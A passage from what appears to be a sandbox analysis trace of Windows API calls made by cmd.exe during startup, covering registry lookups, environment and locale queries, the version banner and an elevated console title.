[0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x988 [0033.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffc40 | out: lpSystemTimeAsFileTime=0x1ffc40*(dwLowDateTime=0x45816a40, dwHighDateTime=0x1d54a09)) [0033.956] GetCurrentProcessId () returned 0x984 [0033.956] GetCurrentThreadId () returned 0x988 [0033.956] GetTickCount () returned 0x1142fc8 [0033.956] QueryPerformanceCounter (in: lpPerformanceCount=0x1ffc48 | out: lpPerformanceCount=0x1ffc48*=15425428308) returned 1 [0033.957] GetModuleHandleW (lpModuleName=0x0) returned 0x49fc0000 [0033.957] __set_app_type (_Type=0x1) [0033.957] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49fe7810) returned 0x0 [0033.957] __getmainargs (in: _Argc=0x4a00a608, _Argv=0x4a00a618, _Env=0x4a00a610, _DoWildCard=0, _StartInfo=0x49fee0f4 | out: _Argc=0x4a00a608, _Argv=0x4a00a618, _Env=0x4a00a610) returned 0 [0033.958] GetCurrentThreadId () returned 0x988 [0033.958] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x988) returned 0x3c [0033.958] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0033.958] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0033.958] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.959] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0033.959] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ffbd8 | out: phkResult=0x1ffbd8*=0x0) returned 0x2 [0033.959] VirtualQuery (in: lpAddress=0x1ffbc0, lpBuffer=0x1ffb40, dwLength=0x30 | out: lpBuffer=0x1ffb40*(BaseAddress=0x1ff000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.959] VirtualQuery (in: lpAddress=0x100000, lpBuffer=0x1ffb40, dwLength=0x30 | out: lpBuffer=0x1ffb40*(BaseAddress=0x100000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.959] VirtualQuery (in: lpAddress=0x101000, lpBuffer=0x1ffb40, dwLength=0x30 | out: lpBuffer=0x1ffb40*(BaseAddress=0x101000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.959] VirtualQuery (in: lpAddress=0x104000, lpBuffer=0x1ffb40, dwLength=0x30 | out: lpBuffer=0x1ffb40*(BaseAddress=0x104000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.959] VirtualQuery (in: lpAddress=0x200000, lpBuffer=0x1ffb40, dwLength=0x30 | out: lpBuffer=0x1ffb40*(BaseAddress=0x200000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.959] GetConsoleOutputCP () returned 0x1b5 [0033.959] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ffbfe0 | out: lpCPInfo=0x49ffbfe0) returned 1 [0033.959] SetConsoleCtrlHandler (HandlerRoutine=0x49fe3184, Add=1) returned 1 [0033.959] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.959] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0033.960] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.960] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49fee194 | out: lpMode=0x49fee194) returned 0 [0033.960] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.960] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49fee198 | out: lpMode=0x49fee198) returned 0 [0033.960] GetEnvironmentStringsW () returned 0x328a60* [0033.961] GetProcessHeap () returned 0x310000 [0033.961] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xa7c) returned 0x3294f0 [0033.961] FreeEnvironmentStringsW (penv=0x328a60) returned 1 [0033.961] GetProcessHeap () returned 0x310000 [0033.961] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x8) returned 0x3288e0 [0033.961] GetEnvironmentStringsW () returned 0x328a60* [0033.961] GetProcessHeap () returned 0x310000 [0033.961] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xa7c) returned 0x329f80 [0033.961] FreeEnvironmentStringsW (penv=0x328a60) returned 1 [0033.961] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1fea98 | out: phkResult=0x1fea98*=0x44) returned 0x0 [0033.961] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x18, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.961] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x1, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.961] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x1, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.961] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x0, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.961] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x40, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x40, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x40, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.962] RegCloseKey (hKey=0x44) returned 0x0 [0033.962] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1fea98 | out: phkResult=0x1fea98*=0x44) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x40, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x1, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x1, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x0, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x9, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x4, lpData=0x1feab0*=0x9, lpcbData=0x1fea94*=0x4) returned 0x0 [0033.962] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1fea90, lpData=0x1feab0, lpcbData=0x1fea94*=0x1000 | out: lpType=0x1fea90*=0x0, lpData=0x1feab0*=0x9, lpcbData=0x1fea94*=0x1000) returned 0x2 [0033.962] RegCloseKey (hKey=0x44) returned 0x0 [0033.962] time (in: timer=0x0 | out: timer=0x0) returned 0x5d459ca7 [0033.962] srand (_Seed=0x5d459ca7) [0033.962] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0033.962] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0033.962] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ffc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.963] GetProcessHeap () returned 0x310000 [0033.963] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x218) returned 0x32aa10 [0033.963] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0033.963] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.963] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.963] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.963] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0033.963] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0033.963] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0033.963] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0033.963] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0033.963] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0033.963] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0033.963] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0033.963] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0033.963] GetProcessHeap () returned 0x310000 [0033.963] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3294f0 | out: hHeap=0x310000) returned 1 [0033.963] GetEnvironmentStringsW () returned 0x328a60* [0033.963] GetProcessHeap () returned 0x310000 [0033.963] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xa94) returned 0x32ac30 [0033.963] FreeEnvironmentStringsW (penv=0x328a60) returned 1 [0033.964] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.964] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.964] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0033.964] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0033.964] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0033.964] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0033.964] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0033.964] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0033.964] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0033.964] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0033.964] GetProcessHeap () returned 0x310000 [0033.964] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x5c) returned 0x32b6d0 [0033.964] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ff8a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ff8a0, lpFilePart=0x1ff880 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ff880*="Desktop") returned 0x25 [0033.964] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.964] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ff5b0 | out: lpFindFileData=0x1ff5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x32b740 [0033.964] FindClose (in: hFindFile=0x32b740 | out: hFindFile=0x32b740) returned 1 [0033.964] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ff5b0 | out: lpFindFileData=0x1ff5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x32b740 [0033.965] FindClose (in: hFindFile=0x32b740 | out: hFindFile=0x32b740) returned 1 [0033.965] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0033.965] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ff5b0 | out: lpFindFileData=0x1ff5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f33c480, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x3f33c480, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x32b740 [0033.965] FindClose (in: hFindFile=0x32b740 | out: hFindFile=0x32b740) returned 1 [0033.965] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.965] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0033.965] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0033.965] GetProcessHeap () returned 0x310000 [0033.965] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ac30 | out: hHeap=0x310000) returned 1 [0033.965] GetEnvironmentStringsW () returned 0x32b740* [0033.965] GetProcessHeap () returned 0x310000 [0033.965] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xae8) returned 0x32c230 [0033.965] FreeEnvironmentStringsW (penv=0x32b740) returned 1 [0033.965] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ffc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.965] GetProcessHeap () returned 0x310000 [0033.965] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b6d0 | out: hHeap=0x310000) returned 1 [0033.965] GetProcessHeap () returned 0x310000 [0033.965] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4016) returned 0x32cd20 [0033.966] GetProcessHeap () returned 0x310000 [0033.966] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20 | out: hHeap=0x310000) returned 1 [0033.966] GetConsoleOutputCP () returned 0x1b5 [0033.966] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ffbfe0 | out: lpCPInfo=0x49ffbfe0) returned 1 [0033.966] GetUserDefaultLCID () returned 0x409 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49ff7b50, cchData=8 | out: lpLCData=":") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ff9b0, cchData=128 | out: lpLCData="0") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ff9b0, cchData=128 | out: lpLCData="0") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ff9b0, cchData=128 | out: lpLCData="1") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a00a740, cchData=8 | out: lpLCData="/") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a00a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a00a460, cchData=32 | out: lpLCData="Tue") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a00a420, cchData=32 | out: lpLCData="Wed") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a00a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a00a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a00a360, cchData=32 | out: lpLCData="Sat") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a00a700, cchData=32 | out: lpLCData="Sun") returned 4 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49ff7b40, cchData=8 | out: lpLCData=".") returned 2 [0033.967] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a00a4e0, cchData=8 | out: lpLCData=",") returned 2 [0033.967] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0033.968] GetProcessHeap () returned 0x310000 [0033.968] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x20c) returned 0x3295c0 [0033.968] GetConsoleTitleW (in: lpConsoleTitle=0x3295c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.969] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.969] GetFileType (hFile=0xf4) returned 0x3 [0033.970] BrandingFormatString () returned 0x3297e0 [0033.974] GetVersion () returned 0x1db10106 [0033.974] _vsnwprintf (in: _Buffer=0x1ffb20, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1ffab8 | out: _Buffer="6.1.7601") returned 8 [0033.974] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.974] GetFileType (hFile=0xf4) returned 0x3 [0033.975] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a006340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0033.975] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a006340, nSize=0x2000, Arguments=0x1ffac0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0033.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0033.975] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1ffa48, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ffa48*=0x24, lpOverlapped=0x0) returned 1 [0033.975] _vsnwprintf (in: _Buffer=0x4a006340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ffae8 | out: _Buffer="\r\n") returned 2 [0033.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.975] GetFileType (hFile=0xf4) returned 0x3 [0033.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.975] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ffab8, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ffab8*=0x2, lpOverlapped=0x0) returned 1 [0033.975] _vsnwprintf (in: _Buffer=0x4a006340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1ffae8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0033.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.975] GetFileType (hFile=0xf4) returned 0x3 [0033.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0033.975] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1ffab8, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ffab8*=0x3f, lpOverlapped=0x0) returned 1 [0033.976] _vsnwprintf (in: _Buffer=0x4a006340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ffae8 | out: _Buffer="\r\n") returned 2 [0033.976] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.976] GetFileType (hFile=0xf4) returned 0x3 [0033.976] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.976] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ffab8, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ffab8*=0x2, lpOverlapped=0x0) returned 1 [0033.976] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0033.976] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0033.976] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0033.976] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0033.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.976] GetFileType (hFile=0xe8) returned 0x3 [0033.976] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0033.977] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1ff910 | out: TokenHandle=0x1ff910*=0x0) returned 0xc000007c [0033.977] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1ff910 | out: TokenHandle=0x1ff910*=0x50) returned 0x0 [0033.977] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1ff920, TokenInformationLength=0x4, ReturnLength=0x1ff928 | out: TokenInformation=0x1ff920, ReturnLength=0x1ff928) returned 0x0 [0033.977] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1ff928, TokenInformationLength=0x4, ReturnLength=0x1ff920 | out: TokenInformation=0x1ff928, ReturnLength=0x1ff920) returned 0x0 [0033.977] NtClose (Handle=0x50) returned 0x0 [0033.977] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1ff8f0, nSize=0x0, Arguments=0x1ff8f8 | out: lpBuffer="韠2") returned 0xf [0033.977] GetProcessHeap () returned 0x310000 [0033.977] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x218) returned 0x311ab0 [0033.977] GetConsoleTitleW (in: lpConsoleTitle=0x1ff940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.977] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0033.977] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0033.978] GetProcessHeap () returned 0x310000 [0033.978] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311ab0 | out: hHeap=0x310000) returned 1 [0033.978] LocalFree (hMem=0x3297e0) returned 0x0 [0033.978] GetProcessHeap () returned 0x310000 [0033.978] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32aa10 | out: hHeap=0x310000) returned 1 [0033.978] _vsnwprintf (in: _Buffer=0x4a006340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ff628 | out: _Buffer="\r\n") returned 2 [0033.978] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.978] GetFileType (hFile=0xf4) returned 0x3 [0033.979] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.979] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, 